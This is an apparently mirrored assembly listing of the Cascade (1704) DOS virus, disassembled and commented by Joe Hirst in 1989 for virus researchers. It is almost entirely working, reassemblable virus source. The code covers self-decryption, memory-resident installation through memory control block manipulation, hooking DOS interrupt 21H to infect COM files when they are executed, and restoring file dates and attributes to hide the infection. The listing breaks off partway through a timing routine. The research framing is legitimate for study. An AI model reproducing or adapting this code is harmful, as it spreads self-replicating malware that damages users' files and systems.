mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
919 lines
26 KiB
NASM
919 lines
26 KiB
NASM
|
page 65,132
|
|||
|
title The 'Cascade' Virus (1704 version)
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͻ
|
|||
|
; <20> British Computer Virus Research Centre <20>
|
|||
|
; <20> 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England <20>
|
|||
|
; <20> Telephone: Domestic 0273-26105, International +44-273-26105 <20>
|
|||
|
; <20> <20>
|
|||
|
; <20> The 'Cascade' Virus (1704 version) <20>
|
|||
|
; <20> Disassembled by Joe Hirst, March 1989 <20>
|
|||
|
; <20> <20>
|
|||
|
; <20> Copyright (c) Joe Hirst 1989. <20>
|
|||
|
; <20> <20>
|
|||
|
; <20> This listing is only to be made available to virus researchers <20>
|
|||
|
; <20> or software writers on a need-to-know basis. <20>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͼ
|
|||
|
|
|||
|
; The virus occurs attached to the end of a COM file. The first
|
|||
|
; three bytes of the program are stored in the virus, and replaced
|
|||
|
; by a branch to the beginning of the virus.
|
|||
|
|
|||
|
; The disassembly has been tested by re-assembly using MASM 5.0.
|
|||
|
|
|||
|
RAM SEGMENT AT 400H
|
|||
|
|
|||
|
; System data
|
|||
|
|
|||
|
ORG 4EH
|
|||
|
BW044E DW ? ; VDU display start address
|
|||
|
|
|||
|
ORG 6CH
|
|||
|
BW046C DW ? ; System clock
|
|||
|
|
|||
|
RAM ENDS
|
|||
|
|
|||
|
MCB SEGMENT AT 0 ; Memory control block references
|
|||
|
|
|||
|
MB0000 DB ? ; MCB signature
|
|||
|
MW0001 DW ? ; MCB owner
|
|||
|
MW0003 DW ? ; MCB size
|
|||
|
|
|||
|
MCB ENDS
|
|||
|
|
|||
|
OPROG SEGMENT AT 0 ; Original program references
|
|||
|
|
|||
|
ORG 100H
|
|||
|
OW0100 DW ?
|
|||
|
OB0102 DB ?
|
|||
|
|
|||
|
OPROG ENDS
|
|||
|
|
|||
|
CODE SEGMENT BYTE PUBLIC 'CODE'
|
|||
|
ASSUME CS:CODE,DS:OPROG
|
|||
|
|
|||
|
VIRLEN EQU OFFSET ENDADR-START
|
|||
|
MAXLEN EQU OFFSET START-ENDADR-20H
|
|||
|
JMPADR = OFFSET START-ENDADR-2
|
|||
|
|
|||
|
ORG 16H
|
|||
|
DW0016 DW ? ; PSP parent ID
|
|||
|
|
|||
|
ORG 2CH
|
|||
|
DW002C DW ? ; PSP environment
|
|||
|
|
|||
|
ORG 36H
|
|||
|
DW0036 DW ? ; FHT segment
|
|||
|
|
|||
|
ORG 100H
|
|||
|
|
|||
|
START:
|
|||
|
|
|||
|
DB0100 DB 1 ; Encryption indicator
|
|||
|
|
|||
|
; Virus entry point
|
|||
|
|
|||
|
ENTRY: CLI
|
|||
|
MOV BP,SP ; Save stack pointer
|
|||
|
CALL BP0010 ; \ Get address of BP0010
|
|||
|
BP0010: POP BX ; /
|
|||
|
SUB BX,OFFSET BP0010+2AH ; Standardise relocation reg
|
|||
|
TEST DB0100[BX+2AH],1 ; Is virus encrypted
|
|||
|
JZ BP0030 ; Branch if not
|
|||
|
LEA SI,BP0030[BX+2AH] ; Address start of encrypted area
|
|||
|
MOV SP,OFFSET ENDADR-BP0030 ; Length of encrypted area
|
|||
|
BP0020: XOR [SI],SI ; \ Decrypt
|
|||
|
XOR [SI],SP ; /
|
|||
|
INC SI ; \ Next address
|
|||
|
DEC SP ; /
|
|||
|
JNZ BP0020 ; Repeat for all area
|
|||
|
BP0030: MOV SP,BP ; Restore stack pointer
|
|||
|
JMP BP0040 ; Branch past data
|
|||
|
|
|||
|
; Data
|
|||
|
|
|||
|
PROGRM EQU THIS DWORD
|
|||
|
PRG_OF DW 100H ; Original program offset
|
|||
|
PRG_SGIDW 1021H ; Original program segment
|
|||
|
|
|||
|
INITAX DW 0 ; Initial AX value
|
|||
|
PROG_1 DW 2DE9H ; \ First three bytes of program
|
|||
|
PROG_2 DB 0DH ; /
|
|||
|
DB 0, 0
|
|||
|
|
|||
|
I1CBIO EQU THIS DWORD
|
|||
|
I1C_OF DW 0FF53H ; Interrupt 1CH offset
|
|||
|
I1C_SG DW 0F000H ; Interrupt 1CH segment
|
|||
|
|
|||
|
I21BIO EQU THIS DWORD
|
|||
|
I21_OF DW 1460H ; Interrupt 21H offset
|
|||
|
I21_SG DW 026AH ; Interrupt 21H segment
|
|||
|
|
|||
|
I28BIO EQU THIS DWORD
|
|||
|
I28_OF DW 1445H ; Interrupt 28H offset
|
|||
|
I28_SG DW 0270H ; Interrupt 28H segment
|
|||
|
|
|||
|
DW 0 ; - not referenced
|
|||
|
F_ATTR DW 0 ; File attributes
|
|||
|
F_DATE DW 0E71H ; File date
|
|||
|
F_TIME DW 601FH ; File time
|
|||
|
F_PATH EQU THIS DWORD
|
|||
|
PATHOF DW 044EH ; File pathname offset
|
|||
|
PATHSG DW 20FFH ; File pathname segment
|
|||
|
F_SIZ1 DW 62DBH ; File size - low word
|
|||
|
F_SIZ2 DW 0 ; File size - high word
|
|||
|
JUMP_1 DB 0E9H ; \ Jump instruction
|
|||
|
JUMP_2 DW 1D64H ; /
|
|||
|
NUMCOL DB 0 ; Number of display columns
|
|||
|
NUMROW DB 0 ; Number of display rows
|
|||
|
C80_SW DB 0 ; 80 column text switch
|
|||
|
CURCHA DB 0 ; Current character
|
|||
|
CURATT DB 0 ; Current attributes
|
|||
|
SWITCH DB 8 ; Switches
|
|||
|
; 01 Int 1CH active
|
|||
|
; 02 Switch 2
|
|||
|
; 04 Switch 3 - not used
|
|||
|
; 08 No display
|
|||
|
RAM_SG DW 0 ; Video RAM segment
|
|||
|
VDURAM DW 0 ; VDU display start address
|
|||
|
LOOPCT DW 04F8H ; Timed loop count
|
|||
|
I1CCNT DW 0FDAH ; Int 1CH count
|
|||
|
I1CMAX DW 0FDAH ; Int 1CH random number maximum
|
|||
|
NUMPOS DW 0 ; Number of display positions
|
|||
|
RANPOS DW 1 ; Number of lines to affect
|
|||
|
RANDOM DW 8FB2H, 0AH, 0, 0, 100H, 0, 1414H, 14H
|
|||
|
|
|||
|
; Main program start
|
|||
|
|
|||
|
BP0040: CALL BP0050 ; \ Get address of BP0050
|
|||
|
BP0050: POP BX ; /
|
|||
|
SUB BX,OFFSET BP0050+2AH ; Standardise relocation reg
|
|||
|
MOV PRG_SG[BX+2AH],CS ; Save original program segment
|
|||
|
MOV INITAX[BX+2AH],AX ; Save initial AX value
|
|||
|
MOV AX,PROG_1[BX+2AH] ; Get first 2 bytes of program
|
|||
|
MOV OW0100,AX ; Replace them
|
|||
|
MOV AL,PROG_2[BX+2AH] ; Get third byte of program
|
|||
|
MOV OB0102,AL ; Replace it
|
|||
|
PUSH BX
|
|||
|
MOV AH,30H ; Get DOS version number function
|
|||
|
INT 21H ; DOS service
|
|||
|
POP BX
|
|||
|
CMP AL,2 ; Version 2.X or above?
|
|||
|
JB BP0060 ; Branch if not
|
|||
|
MOV AX,4BFFH ; Is virus active function
|
|||
|
XOR DI,DI ; Clear register
|
|||
|
XOR SI,SI ; Clear register
|
|||
|
INT 21H ; DOS service
|
|||
|
CMP DI,55AAH ; Is virus already active
|
|||
|
JNE BP0070 ; Branch if not
|
|||
|
BP0060: STI
|
|||
|
PUSH DS ; \ Set ES to DS
|
|||
|
POP ES ; /
|
|||
|
MOV AX,INITAX[BX+2AH] ; Restore initial AX value
|
|||
|
JMP PROGRM[BX+2AH] ; Branch to original program
|
|||
|
|
|||
|
BP0070: PUSH BX
|
|||
|
MOV AX,3521H ; Get interrupt 21H function
|
|||
|
INT 21H ; DOS service
|
|||
|
MOV AX,BX ; Move interrupt 21H offset
|
|||
|
POP BX
|
|||
|
MOV I21_OF[BX+2AH],AX ; Save interrupt 21H offset
|
|||
|
MOV I21_SG[BX+2AH],ES ; Save interrupt 21H segment
|
|||
|
MOV AX,0F000H ; \
|
|||
|
MOV ES,AX ; ) Address BIOS
|
|||
|
MOV DI,0E008H ; /
|
|||
|
CMP WORD PTR ES:[DI],'OC' ; \ Branch if not IBM BIOS
|
|||
|
JNE BP0080 ; /
|
|||
|
CMP WORD PTR ES:[DI+2],'RP' ; \ Branch if not IBM BIOS
|
|||
|
JNE BP0080 ; /
|
|||
|
CMP WORD PTR ES:[DI+4],' .' ; \ Branch if not IBM BIOS
|
|||
|
JNE BP0080 ; /
|
|||
|
CMP WORD PTR ES:[DI+6],'BI' ; \ Branch if not IBM BIOS
|
|||
|
JNE BP0080 ; /
|
|||
|
CMP WORD PTR ES:[DI+8],'M' ; \ IBM BIOS
|
|||
|
JE BP0060 ; /
|
|||
|
|
|||
|
; Install virus
|
|||
|
|
|||
|
ASSUME ES:MCB,DS:NOTHING
|
|||
|
BP0080: MOV AX,007BH ; Load size of virus in paragraphs
|
|||
|
MOV BP,CS ; Get current segment
|
|||
|
DEC BP ; \ Address back to MCB
|
|||
|
MOV ES,BP ; /
|
|||
|
MOV SI,DW0016 ; Get parent ID
|
|||
|
MOV MW0001,SI ; Store as owner in MCB
|
|||
|
MOV DX,MW0003 ; Get MCB size
|
|||
|
MOV MW0003,AX ; Store virus size
|
|||
|
MOV MB0000,4DH ; Store MCB identification
|
|||
|
SUB DX,AX ; Subtract virus from original size
|
|||
|
DEC DX ;
|
|||
|
INC BP ; Forward from MCB
|
|||
|
ADD BP,AX ; Add size of virus
|
|||
|
INC BP ; And of another MCB
|
|||
|
MOV ES,BP ; Address new PSP segment
|
|||
|
PUSH BX
|
|||
|
MOV AH,50H ; Set current PSP function
|
|||
|
MOV BX,BP ; New PSP segment
|
|||
|
INT 21H ; DOS service
|
|||
|
POP BX
|
|||
|
XOR DI,DI ; Clear register
|
|||
|
PUSH ES ; \ Set stack segment to new PSP
|
|||
|
POP SS ; /
|
|||
|
PUSH DI
|
|||
|
LEA DI,CPY040[BX+2AH] ; Address end of virus
|
|||
|
MOV SI,DI ; And for source
|
|||
|
MOV CX,VIRLEN ; Get length of virus
|
|||
|
STD ; Going downwards
|
|||
|
REPZ MOVSB ; Copy virus
|
|||
|
PUSH ES ; Push new segment
|
|||
|
LEA CX,BP0090[BX+2AH] ; \ And next instruction
|
|||
|
PUSH CX ; /
|
|||
|
RETF ; ... and load them
|
|||
|
|
|||
|
; Now running in virus at end of new program segment
|
|||
|
|
|||
|
BP0090: MOV PRG_SG[BX+2AH],CS ; New segment in program address
|
|||
|
LEA CX,DB0100[BX+2AH] ; Get length of original program
|
|||
|
REPZ MOVSB ; Copy original program to new PSP
|
|||
|
MOV DW0036,CS ; New segment in handle table address
|
|||
|
DEC BP ; \ Address back to MCB
|
|||
|
MOV ES,BP ; /
|
|||
|
MOV MW0003,DX ; Store original program size
|
|||
|
MOV MB0000,5AH ; Store MCB ident (last)
|
|||
|
MOV MW0001,CS ; Store CS as owner in MCB
|
|||
|
INC BP ; \ Forward again to PSP
|
|||
|
MOV ES,BP ; /
|
|||
|
PUSH DS ; \ Set ES to DS
|
|||
|
POP ES ; /
|
|||
|
PUSH CS ; \ Set DS to CS
|
|||
|
POP DS ; /
|
|||
|
LEA SI,DB0100[BX+2AH] ; Address start of virus
|
|||
|
MOV DI,OFFSET DB0100 ; Start of program area in first area
|
|||
|
MOV CX,VIRLEN ; Get length of virus
|
|||
|
CLD ; Copy forwards
|
|||
|
REPZ MOVSB ; Copy virus to start of first area
|
|||
|
PUSH ES ; Push segment of first area
|
|||
|
LEA AX,BP0100 ; \ Offset of next instruction
|
|||
|
PUSH AX ; /
|
|||
|
RETF ; ... and load them
|
|||
|
|
|||
|
; Now running in installed virus, first area
|
|||
|
|
|||
|
ASSUME ES:NOTHING
|
|||
|
BP0100: MOV DW002C,0 ; No environment pointer
|
|||
|
MOV DW0016,CS ; Is its own parent
|
|||
|
PUSH DS
|
|||
|
LEA DX,INT_21 ; Interrupt 21H routine
|
|||
|
PUSH CS ; \ Set DS to CS
|
|||
|
POP DS ; /
|
|||
|
MOV AX,2521H ; Set interrupt 21H function
|
|||
|
INT 21H ; DOS service
|
|||
|
POP DS
|
|||
|
MOV AH,1AH ; Set DTA function
|
|||
|
MOV DX,0080H ; DTA address
|
|||
|
INT 21H ; DOS service
|
|||
|
CALL GETCLK ; Copy system clock
|
|||
|
MOV AH,2AH ; Get date function
|
|||
|
INT 21H ; DOS service
|
|||
|
CMP CX,07C4H ; Year 1988?
|
|||
|
JA BP0130 ; Branch if after 1988
|
|||
|
JE BP0110 ; Branch if 1988
|
|||
|
CMP CX,07BCH ; Year 1980?
|
|||
|
JNE BP0130 ; Branch if not
|
|||
|
PUSH DS
|
|||
|
MOV AX,3528H ; Get interrupt 28H function
|
|||
|
INT 21H ; DOS service
|
|||
|
MOV I28_OF,BX ; Save interrupt 28H offset
|
|||
|
MOV I28_SG,ES ; Save interrupt 28H segment
|
|||
|
MOV AX,2528H ; Set interrupt 28H function
|
|||
|
MOV DX,OFFSET INT_28 ; Int 28H routine address
|
|||
|
PUSH CS ; \ Set DS to CS
|
|||
|
POP DS ; /
|
|||
|
INT 21H ; DOS service
|
|||
|
POP DS
|
|||
|
OR SWITCH,8 ; Set on No display switch
|
|||
|
JMP BP0120
|
|||
|
|
|||
|
; Year is 1988
|
|||
|
|
|||
|
BP0110: CMP DH,0AH ; October?
|
|||
|
JB BP0130 ; Branch if not
|
|||
|
BP0120: CALL TIMCYC ; Time one clock cycle
|
|||
|
MOV AX,1518H ; Upper limit - 5400
|
|||
|
CALL RNDNUM ; Create random number
|
|||
|
INC AX ; Add to random number
|
|||
|
MOV I1CCNT,AX ; Set Int 1CH count
|
|||
|
MOV I1CMAX,AX ; Set Int 1CH random no maximum
|
|||
|
MOV RANPOS,1 ; Set num of lines to affect to 1
|
|||
|
MOV AX,351CH ; Get interrupt 1CH function
|
|||
|
INT 21H ; DOS service
|
|||
|
MOV I1C_OF,BX ; Save interrupt 1CH offset
|
|||
|
MOV I1C_SG,ES ; Save interrupt 1CH segment
|
|||
|
PUSH DS
|
|||
|
MOV AX,251CH ; Set interrupt 1CH function
|
|||
|
MOV DX,OFFSET INT_1C ; Int 1CH routine address
|
|||
|
PUSH CS ; \ Set DS to CS
|
|||
|
POP DS ; /
|
|||
|
INT 21H ; DOS service
|
|||
|
POP DS
|
|||
|
BP0130: MOV BX,-2AH ; Set up relocation register
|
|||
|
JMP BP0060 ; Branch to start program
|
|||
|
|
|||
|
; Interrupt 21H routine
|
|||
|
|
|||
|
INT_21: CMP AH,4BH ; Load function?
|
|||
|
JE I_2106 ; Branch if yes
|
|||
|
I_2102: JMP I21BIO ; Branch to original int 21H
|
|||
|
|
|||
|
; Virus call
|
|||
|
|
|||
|
I_2104: MOV DI,55AAH ; Virus call - signal back
|
|||
|
LES AX,I21BIO ; Load return address
|
|||
|
MOV DX,CS ; Load segment
|
|||
|
IRET
|
|||
|
|
|||
|
; Load and execute function
|
|||
|
|
|||
|
I_2106: CMP AL,0FFH ; Is this a virus call?
|
|||
|
JE I_2104 ; Branch if yes
|
|||
|
CMP AL,0 ; Load and execute?
|
|||
|
JNE I_2102 ; Branch if not
|
|||
|
PUSHF
|
|||
|
PUSH AX
|
|||
|
PUSH BX
|
|||
|
PUSH CX
|
|||
|
PUSH DX
|
|||
|
PUSH SI
|
|||
|
PUSH DI
|
|||
|
PUSH BP
|
|||
|
PUSH ES
|
|||
|
PUSH DS
|
|||
|
MOV PATHOF,DX ; Save pathname offset
|
|||
|
MOV PATHSG,DS ; Save pathname segment
|
|||
|
PUSH CS ; \ Set ES to CS
|
|||
|
POP ES ; /
|
|||
|
MOV AX,3D00H ; Open handle function
|
|||
|
INT 21H ; DOS service
|
|||
|
JB I_2110 ; Branch if error
|
|||
|
MOV BX,AX ; Move file handle
|
|||
|
MOV AX,5700H ; Get file date and time function
|
|||
|
INT 21H ; DOS service
|
|||
|
MOV F_DATE,DX ; Save file date
|
|||
|
MOV F_TIME,CX ; Save file time
|
|||
|
MOV AH,3FH ; Read handle function
|
|||
|
PUSH CS ; \ Set DS to CS
|
|||
|
POP DS ; /
|
|||
|
MOV DX,OFFSET PROG_1 ; \ First three bytes of program
|
|||
|
MOV CX,3 ; /
|
|||
|
INT 21H ; DOS service
|
|||
|
JB I_2110 ; Branch if error
|
|||
|
CMP AX,CX ; Correct length read?
|
|||
|
JNE I_2110 ; Branch if error
|
|||
|
MOV AX,4202H ; Move file pointer (EOF) function
|
|||
|
XOR CX,CX ; \ No displacement
|
|||
|
XOR DX,DX ; /
|
|||
|
INT 21H ; DOS service
|
|||
|
MOV F_SIZ1,AX ; File size - low word
|
|||
|
MOV F_SIZ2,DX ; File size - high word
|
|||
|
MOV AH,3EH ; Close handle function
|
|||
|
INT 21H ; DOS service
|
|||
|
CMP PROG_1,5A4DH ; Is it an EXE file?
|
|||
|
JNE I_2108 ; Branch if not
|
|||
|
JMP I_2124 ; Dont infect
|
|||
|
|
|||
|
I_2108: CMP F_SIZ2,0 ; File size - high word
|
|||
|
JA I_2110 ; Branch if file too big
|
|||
|
CMP F_SIZ1,MAXLEN ; Maximum file size?
|
|||
|
JBE I_2112 ; Branch if file not too big
|
|||
|
I_2110: JMP I_2124 ; Dont infect
|
|||
|
|
|||
|
I_2112: CMP BYTE PTR PROG_1,0E9H ; Does program start with a branch
|
|||
|
JNE I_2114 ; Branch if not
|
|||
|
MOV AX,F_SIZ1 ; Get file size - low word
|
|||
|
ADD AX,WORD PTR JMPADR ; Convert to infected offset
|
|||
|
CMP AX,PROG_1+1 ; Is it the same
|
|||
|
JE I_2110 ; Branch if already infected
|
|||
|
I_2114: MOV AX,4300H ; Get file attributes function
|
|||
|
LDS DX,F_PATH ; Pathname pointer
|
|||
|
INT 21H ; DOS service
|
|||
|
JB I_2110 ; Branch if error
|
|||
|
MOV F_ATTR,CX ; Save file attributes
|
|||
|
XOR CL,20H ; Change archive bit
|
|||
|
TEST CL,27H ; Are there any attributes to change
|
|||
|
JZ I_2116 ; Branch if not
|
|||
|
MOV AX,4301H ; Set file attributes function
|
|||
|
XOR CX,CX ; No attributes
|
|||
|
INT 21H ; DOS service
|
|||
|
JB I_2110 ; Branch if error
|
|||
|
I_2116: MOV AX,3D02H ; Open handle (R/W) function
|
|||
|
INT 21H ; DOS service
|
|||
|
JB I_2110 ; Branch if error
|
|||
|
MOV BX,AX ; Move file handle
|
|||
|
MOV AX,4202H ; Move file pointer (EOF) function
|
|||
|
XOR CX,CX ; \ No displacement
|
|||
|
XOR DX,DX ; /
|
|||
|
INT 21H ; DOS service
|
|||
|
CALL CPYVIR ; Copy virus to program
|
|||
|
JNB I_2118 ; Branch if no error
|
|||
|
MOV AX,4200H ; Move file pointer (Start) function
|
|||
|
MOV CX,F_SIZ2 ; File size - high word
|
|||
|
MOV DX,F_SIZ1 ; File size - low word
|
|||
|
INT 21H ; DOS service
|
|||
|
MOV AH,40H ; Write handle function
|
|||
|
XOR CX,CX ; Zero length (reset length}
|
|||
|
INT 21H ; DOS service
|
|||
|
JMP I_2120 ; Reset file details
|
|||
|
|
|||
|
I_2118: MOV AX,4200H ; Move file pointer (Start) function
|
|||
|
XOR CX,CX ; \ No displacement
|
|||
|
XOR DX,DX ; /
|
|||
|
INT 21H ; DOS service
|
|||
|
JB I_2120 ; Branch if error
|
|||
|
MOV AX,F_SIZ1 ; Get file size - low word
|
|||
|
ADD AX,0FFFEH ; Convert to jump offset
|
|||
|
MOV JUMP_2,AX ; Store in jump instruction
|
|||
|
MOV AH,40H ; Write handle function
|
|||
|
MOV DX,OFFSET JUMP_1 ; Address to jump instruction
|
|||
|
MOV CX,3 ; Length of jump instruction
|
|||
|
INT 21H ; DOS service
|
|||
|
I_2120: MOV AX,5701H ; Set file date and time function
|
|||
|
MOV DX,F_DATE ; Get old file date
|
|||
|
MOV CX,F_TIME ; Get old file time
|
|||
|
INT 21H ; DOS service
|
|||
|
MOV AH,3EH ; Close handle function
|
|||
|
INT 21H ; DOS service
|
|||
|
MOV CX,F_ATTR ; Get old file attributes
|
|||
|
TEST CL,7 ; System, read only or hidden?
|
|||
|
JNZ I_2122 ; Branch if yes
|
|||
|
TEST CL,20H ; Archive?
|
|||
|
JNZ I_2124 ; Branch if yes
|
|||
|
I_2122: MOV AX,4301H ; Set file attributes function
|
|||
|
LDS DX,F_PATH ; Pathname pointer
|
|||
|
INT 21H ; DOS service
|
|||
|
I_2124: POP DS
|
|||
|
POP ES
|
|||
|
POP BP
|
|||
|
POP DI
|
|||
|
POP SI
|
|||
|
POP DX
|
|||
|
POP CX
|
|||
|
POP BX
|
|||
|
POP AX
|
|||
|
POPF
|
|||
|
JMP I_2102 ; Original interrupt 21H
|
|||
|
|
|||
|
; Create random number
|
|||
|
|
|||
|
RNDNUM: PUSH DS
|
|||
|
PUSH CS ; \ Set DS to CS
|
|||
|
POP DS ; /
|
|||
|
PUSH BX
|
|||
|
PUSH CX
|
|||
|
PUSH DX
|
|||
|
PUSH AX ; Save multiplier
|
|||
|
MOV CX,7 ; Seven words to move
|
|||
|
MOV BX,OFFSET RANDOM+14 ; Last word of randomiser
|
|||
|
PUSH [BX] ; Save last word
|
|||
|
RND010: MOV AX,[BX-2] ; Get previous word
|
|||
|
ADC [BX],AX ; Add to current word
|
|||
|
DEC BX ; \ Address previous word
|
|||
|
DEC BX ; /
|
|||
|
LOOP RND010 ; Repeat for each word
|
|||
|
POP AX ; Retrieve last word
|
|||
|
ADC [BX],AX ; Add to first word
|
|||
|
MOV DX,[BX] ; Get result
|
|||
|
POP AX ; Recover multiplier
|
|||
|
OR AX,AX ; Is there a multiplier?
|
|||
|
JZ RND020 ; Branch if not
|
|||
|
MUL DX ; Multiply random number
|
|||
|
RND020: MOV AX,DX ; Move result
|
|||
|
POP DX
|
|||
|
POP CX
|
|||
|
POP BX
|
|||
|
POP DS
|
|||
|
RET
|
|||
|
|
|||
|
; Copy system clock
|
|||
|
|
|||
|
GETCLK: PUSH DS
|
|||
|
PUSH ES
|
|||
|
PUSH SI
|
|||
|
PUSH DI
|
|||
|
PUSH CX
|
|||
|
PUSH CS ; \ Set ES to CS
|
|||
|
POP ES ; /
|
|||
|
MOV CX,0040H ; \ Set DS to system RAM
|
|||
|
MOV DS,CX ; /
|
|||
|
MOV DI,OFFSET RANDOM ; Randomizer work area
|
|||
|
MOV SI,006CH ; Address system clock
|
|||
|
MOV CX,8 ; Eight bytes to copy
|
|||
|
CLD
|
|||
|
REPZ MOVSW ; Copy system clock
|
|||
|
POP CX
|
|||
|
POP DI
|
|||
|
POP SI
|
|||
|
POP ES
|
|||
|
POP DS
|
|||
|
RET
|
|||
|
|
|||
|
; Get character and attributes
|
|||
|
|
|||
|
ASSUME DS:CODE
|
|||
|
GETCHA: PUSH SI
|
|||
|
PUSH DS
|
|||
|
PUSH DX
|
|||
|
MOV AL,DH ; Get row number
|
|||
|
MUL NUMCOL ; Number of visible columns
|
|||
|
MOV DH,0 ; Clear top of register
|
|||
|
ADD AX,DX ; Add column number
|
|||
|
SHL AX,1 ; Multiply by two
|
|||
|
ADD AX,VDURAM ; Add VDU display start address
|
|||
|
MOV SI,AX ; Move character pointer
|
|||
|
TEST C80_SW,0FFH ; Test 80 column text switch
|
|||
|
MOV DS,RAM_SG ; Video RAM segment
|
|||
|
JZ GTC030 ; Branch if switch off
|
|||
|
MOV DX,03DAH ; VDU status register
|
|||
|
CLI
|
|||
|
GTC010: IN AL,DX ; Get VDU status
|
|||
|
TEST AL,8 ; Is it frame flyback time
|
|||
|
JNZ GTC030 ; Branch if yes
|
|||
|
TEST AL,1 ; Test toggle bit
|
|||
|
JNZ GTC010 ; Branch if on
|
|||
|
GTC020: IN AL,DX ; Get VDU status
|
|||
|
TEST AL,1 ; Test toggle bit
|
|||
|
JZ GTC020 ; Branch if off
|
|||
|
GTC030: LODSW ; Load character and attribute
|
|||
|
STI
|
|||
|
POP DX
|
|||
|
POP DS
|
|||
|
POP SI
|
|||
|
RET
|
|||
|
|
|||
|
; Store character and attributes
|
|||
|
|
|||
|
STOCHA: PUSH DI
|
|||
|
PUSH ES
|
|||
|
PUSH DX
|
|||
|
PUSH BX
|
|||
|
MOV BX,AX
|
|||
|
MOV AL,DH ; Get row number
|
|||
|
MUL NUMCOL ; Number of visible columns
|
|||
|
MOV DH,0 ; Clear top of register
|
|||
|
ADD AX,DX ; Add column number
|
|||
|
SHL AX,1 ; Multiply by two
|
|||
|
ADD AX,VDURAM ; Add VDU display start address
|
|||
|
MOV DI,AX ; Move character pointer
|
|||
|
TEST C80_SW,0FFH ; Test 80 column text switch
|
|||
|
MOV ES,RAM_SG ; Video RAM segment
|
|||
|
JZ STO030 ; Branch if switch off
|
|||
|
MOV DX,03DAH ; VDU status register
|
|||
|
CLI
|
|||
|
STO010: IN AL,DX ; Get VDU status
|
|||
|
TEST AL,8 ; Is it frame flyback time
|
|||
|
JNZ STO030 ; Branch if yes
|
|||
|
TEST AL,1 ; Test toggle bit
|
|||
|
JNZ STO010 ; Branch if on
|
|||
|
STO020: IN AL,DX ; Get VDU status
|
|||
|
TEST AL,1 ; Test toggle bit
|
|||
|
JZ STO020 ; Branch if off
|
|||
|
STO030: MOV AX,BX
|
|||
|
STOSB ; Store character and attribute
|
|||
|
STI
|
|||
|
POP BX
|
|||
|
POP DX
|
|||
|
POP ES
|
|||
|
POP DI
|
|||
|
RET
|
|||
|
|
|||
|
; Delay loop
|
|||
|
|
|||
|
DELAY: PUSH CX
|
|||
|
DEL010: PUSH CX
|
|||
|
MOV CX,LOOPCT ; Get timed loop count
|
|||
|
DEL020: LOOP DEL020
|
|||
|
POP CX
|
|||
|
LOOP DEL010
|
|||
|
POP CX
|
|||
|
RET
|
|||
|
|
|||
|
; Toggle speaker drive
|
|||
|
|
|||
|
CH_SND: PUSH AX
|
|||
|
IN AL,61H ; Get port B
|
|||
|
XOR AL,2 ; Toggle speaker drive
|
|||
|
AND AL,0FEH ; Switch off speaker modulate
|
|||
|
OUT 61H,AL ; Rewrite port B
|
|||
|
POP AX
|
|||
|
RET
|
|||
|
|
|||
|
; Is character 0, 32 or 255?
|
|||
|
|
|||
|
IGNORE: CMP AL,0 ; Is it a zero?
|
|||
|
JE IGN010 ; Branch if yes
|
|||
|
CMP AL,20H ; Is it a space?
|
|||
|
JE IGN010 ; Branch if yes
|
|||
|
CMP AL,0FFH ; Is it FF?
|
|||
|
JE IGN010 ; Branch if yes
|
|||
|
CLC
|
|||
|
RET
|
|||
|
|
|||
|
IGN010: STC
|
|||
|
RET
|
|||
|
|
|||
|
; Graphic display character
|
|||
|
|
|||
|
GRAPHD: CMP AL,0B0H ; Is it below 176?
|
|||
|
JB GRA010 ; Branch if yes
|
|||
|
CMP AL,0DFH ; Is it above 223?
|
|||
|
JA GRA010 ; Branch if yes
|
|||
|
STC
|
|||
|
RET
|
|||
|
|
|||
|
GRA010: CLC
|
|||
|
RET
|
|||
|
|
|||
|
; Time one clock cycle
|
|||
|
|
|||
|
TIMCYC: PUSH DS
|
|||
|
MOV AX,0040H ; \ Set DS to system RAM
|
|||
|
MOV DS,AX ; /
|
|||
|
STI
|
|||
|
ASSUME DS:RAM
|
|||
|
MOV AX,BW046C ; Get low word of system clock
|
|||
|
TIM010: CMP AX,BW046C ; Has clock changed?
|
|||
|
JE TIM010 ; Branch if not
|
|||
|
XOR CX,CX ; Clear register
|
|||
|
MOV AX,BW046C ; Get low word of system clock
|
|||
|
TIM020: INC CX ; Increment count
|
|||
|
JZ TIM040 ; Branch if now zero
|
|||
|
CMP AX,BW046C ; Has clock changed?
|
|||
|
JE TIM020 ; Branch if not
|
|||
|
TIM030: POP DS
|
|||
|
ASSUME DS:NOTHING
|
|||
|
MOV AX,CX ; Transfer count
|
|||
|
XOR DX,DX ; Clear register
|
|||
|
